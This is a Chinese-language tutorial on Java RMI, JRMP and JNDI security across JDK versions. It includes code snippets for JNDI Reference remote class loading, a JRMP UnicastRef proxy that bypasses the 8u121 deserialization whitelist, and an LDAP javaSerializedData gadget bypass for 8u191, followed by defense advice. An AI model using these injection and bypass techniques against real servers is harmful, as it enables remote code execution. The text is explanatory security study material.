搞懂RMI、JRMP、JNDI-终结篇
字数 1863 2025-08-22 12:23:36

RMI、JRMP与JNDI安全机制深度解析

0x01 前言

本文深入分析Java远程方法调用(RMI)、Java远程方法协议(JRMP)和Java命名与目录接口(JNDI)的安全机制,通过源码层面剖析不同JDK版本下的攻击与防御策略。

0x02 RMI基础架构

RMI核心组件

  1. RMI Registry:注册中心服务,存储远程对象引用

    • 创建方式:LocateRegistry.createRegistry(1099)
    • 返回类型:sun.rmi.registry.RegistryImpl
  2. 服务端:提供远程服务的实现

    • 必须实现Remote接口并继承UnicastRemoteObject
    • 注册示例:
      LocateRegistry.getRegistry("127.0.0.1", 1099).bind("hello", new HelloServiceImpl());
      
  3. 客户端:调用远程服务的消费者

    • 查找示例:
      HelloService helloService = (HelloService) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("hello");
      

通信流程

  1. 服务端通过bind()将stub对象发送到RMI Registry
  2. 客户端通过lookup()从RMI Registry获取stub
  3. 客户端通过stub对象发起远程方法调用

0x03 攻击面分析

攻击目标分类

  1. RMI Client:通过恶意服务端或Registry攻击
  2. RMI Server:通过恶意客户端攻击
  3. RMI Registry:通过恶意客户端或服务端攻击

攻击方式

1. 反序列化攻击

  • Registry攻击点

    • bind()操作:case 0处理逻辑中反序列化参数
    • lookup()操作:case 2处理逻辑中反序列化返回数据
  • 服务端攻击点

    • 远程方法调用参数反序列化
    • 方法返回结果反序列化

2. Reference远程代码加载

通过JNDI Reference实现无gadget依赖的RCE:

Reference reference = new Reference("Calc","Calc","http://localhost/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Calc",referenceWrapper);

客户端触发:

new InitialContext().lookup("rmi://127.0.0.1:1099/Calc");

0x04 JDK版本演进与防御机制

jdk8u121之前

攻击特点

  • 无限制的反序列化
  • 可直接使用各种gadget进行攻击
  • JNDI Reference远程加载无限制

jdk8u121关键变更

新增防御

  1. RMI反序列化白名单

    • 实现于sun.rmi.registry.RegistryImpl#registryFilter
    • 允许的类:
      • String.class
      • Number.class
      • Remote.class
      • Proxy.class
      • UnicastRef.class
      • RMIClientSocketFactory.class
      • RMIServerSocketFactory.class
      • ActivationID.class
      • UID.class
  2. RMI Reference信任机制

    • 系统属性com.sun.jndi.rmi.object.trustURLCodebase默认为false

绕过方法

  • 使用UnicastRef白名单类构造JRMP攻击:
    ObjID id = new ObjID(new Random().nextInt());
    TCPEndpoint te = new TCPEndpoint(host, port);
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
    RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
    Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), 
        new Class[] { Registry.class }, obj);
    

jdk8u191关键变更

新增防御

  1. LDAP Reference信任机制
    • 系统属性com.sun.jndi.ldap.object.trustURLCodebase默认为false

绕过方法

  • 使用LDAP的javaSerializedData属性传递序列化gadget:

    e.addAttribute("javaSerializedData", serializedGadget);
    

    触发点在com.sun.jndi.ldap.Obj#deserializeObject

    private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException {
        // 反序列化逻辑
    }
    

0x05 攻击技术总结

攻击方式 适用版本 依赖条件 备注
直接反序列化 <8u121 需要gadget依赖 利用bind/lookup
JNDI Reference(RMI) <8u121 无gadget依赖 远程加载代码
JNDI Reference(LDAP) 8u121-8u191 无gadget依赖 远程加载代码
JRMP Gadget >=8u121 需要gadget依赖 绕过白名单
LDAP SerializedData >=8u191 需要gadget依赖 替代Reference

0x06 防御建议

  1. 升级JDK至最新版本
  2. 限制网络访问,特别是RMI Registry端口
  3. 移除不必要的gadget依赖
  4. 配置安全策略文件限制代码加载
  5. 监控可疑的JRMP和LDAP连接

0x07 参考资源

  1. 如何绕过高版本JDK的限制进行JNDI注入利用
  2. Java中RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿
  3. Oracle官方安全公告
RMI、JRMP与JNDI安全机制深度解析 0x01 前言 本文深入分析Java远程方法调用(RMI)、Java远程方法协议(JRMP)和Java命名与目录接口(JNDI)的安全机制,通过源码层面剖析不同JDK版本下的攻击与防御策略。 0x02 RMI基础架构 RMI核心组件 RMI Registry :注册中心服务,存储远程对象引用 创建方式: LocateRegistry.createRegistry(1099) 返回类型: sun.rmi.registry.RegistryImpl 服务端 :提供远程服务的实现 必须实现 Remote 接口并继承 UnicastRemoteObject 注册示例: 客户端 :调用远程服务的消费者 查找示例: 通信流程 服务端通过 bind() 将stub对象发送到RMI Registry 客户端通过 lookup() 从RMI Registry获取stub 客户端通过stub对象发起远程方法调用 0x03 攻击面分析 攻击目标分类 RMI Client :通过恶意服务端或Registry攻击 RMI Server :通过恶意客户端攻击 RMI Registry :通过恶意客户端或服务端攻击 攻击方式 1. 反序列化攻击 Registry攻击点 : bind() 操作:case 0处理逻辑中反序列化参数 lookup() 操作:case 2处理逻辑中反序列化返回数据 服务端攻击点 : 远程方法调用参数反序列化 方法返回结果反序列化 2. Reference远程代码加载 通过JNDI Reference实现无gadget依赖的RCE: 客户端触发: 0x04 JDK版本演进与防御机制 jdk8u121之前 攻击特点 : 无限制的反序列化 可直接使用各种gadget进行攻击 JNDI Reference远程加载无限制 jdk8u121关键变更 新增防御 : RMI反序列化白名单 : 实现于 sun.rmi.registry.RegistryImpl#registryFilter 允许的类: String.class Number.class Remote.class Proxy.class UnicastRef.class RMIClientSocketFactory.class RMIServerSocketFactory.class ActivationID.class UID.class RMI Reference信任机制 : 系统属性 com.sun.jndi.rmi.object.trustURLCodebase 默认为false 绕过方法 : 使用 UnicastRef 白名单类构造JRMP攻击: jdk8u191关键变更 新增防御 : LDAP Reference信任机制 : 系统属性 com.sun.jndi.ldap.object.trustURLCodebase 默认为false 绕过方法 : 使用LDAP的 javaSerializedData 属性传递序列化gadget: 触发点在 com.sun.jndi.ldap.Obj#deserializeObject : 0x05 攻击技术总结 | 攻击方式 | 适用版本 | 依赖条件 | 备注 | |---------|---------|---------|------| | 直接反序列化 | <8u121 | 需要gadget依赖 | 利用bind/lookup | | JNDI Reference(RMI) | <8u121 | 无gadget依赖 | 远程加载代码 | | JNDI Reference(LDAP) | 8u121-8u191 | 无gadget依赖 | 远程加载代码 | | JRMP Gadget | >=8u121 | 需要gadget依赖 | 绕过白名单 | | LDAP SerializedData | >=8u191 | 需要gadget依赖 | 替代Reference | 0x06 防御建议 升级JDK至最新版本 限制网络访问,特别是RMI Registry端口 移除不必要的gadget依赖 配置安全策略文件限制代码加载 监控可疑的JRMP和LDAP连接 0x07 参考资源 如何绕过高版本JDK的限制进行JNDI注入利用 Java中RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿 Oracle官方安全公告